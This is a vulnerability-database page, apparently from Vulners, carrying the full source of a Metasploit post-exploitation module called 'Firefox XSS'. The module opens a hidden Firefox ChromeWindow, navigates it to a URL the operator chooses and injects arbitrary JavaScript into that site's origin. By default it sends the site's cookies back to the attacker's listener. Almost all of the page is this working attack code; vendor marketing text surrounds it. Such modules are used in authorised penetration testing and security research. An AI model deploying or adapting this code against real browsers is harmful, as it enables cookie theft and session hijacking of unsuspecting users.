Lucene search
K

Firefox XSS

🗓️ 04 Jan 2014 14:46:57Reported by joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 41 Views

This module runs javascript in the origin of a URL to execute a provided SCRIPT via a hidden ChromeWindow and sends the result back to the listener

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'json'

class MetasploitModule < Msf::Post
  include Msf::Payload::Firefox
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox XSS',
        'Description' => %q{
          This module runs the provided SCRIPT as javascript in the
          origin of the provided URL. It works by navigating to a hidden
          ChromeWindow to the URL, then injecting the SCRIPT with Function().
          The callback "send(result)" is used to send data back to the listener.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'joev' ],
        'Platform' => [ 'firefox' ]
      )
    )

    register_options([
      OptString.new('SCRIPT', [true, 'The javascript command to run', 'send(document.cookie)']),
      OptPath.new('SCRIPTFILE', [false, 'The javascript file to run']),
      OptString.new('URL', [
        true, 'URL to inject into', 'https://metasploit.com'
      ]),
      OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
    ])
  end

  def run
    results = js_exec(js_payload)
    if results.present?
      print_good results
    else
      print_error 'No response received'
    end
  end

  def js_payload
    js = datastore['SCRIPT'].strip
    %|

      (function(send){
        #{set_timeout_source}

        var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
                               .getService(Components.interfaces.nsIAppShellService)
                               .hiddenDOMWindow;

        hiddenWindow.location = 'about:blank';
        var src = (#{JSON.unparse({ src: js })}).src;
        var key = "#{Rex::Text.rand_text_alphanumeric(rand(8..19))}";

        hiddenWindow[key] = true;
        hiddenWindow.location = "#{datastore['URL']}";

        var evt = function() {
          if (hiddenWindow[key]) {
            setTimeout(evt, 200);
          } else {
            setTimeout(function(){
              try {
                send(hiddenWindow.wrappedJSObject.Function('send', src)(send));
              } catch (e) {
                send("Error: "+e.message);
              }
            }, 500);
          }
        };

        setTimeout(evt, 200);
      })(this.send);

    |.strip
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7.2High risk
Vulners AI Score7.2
41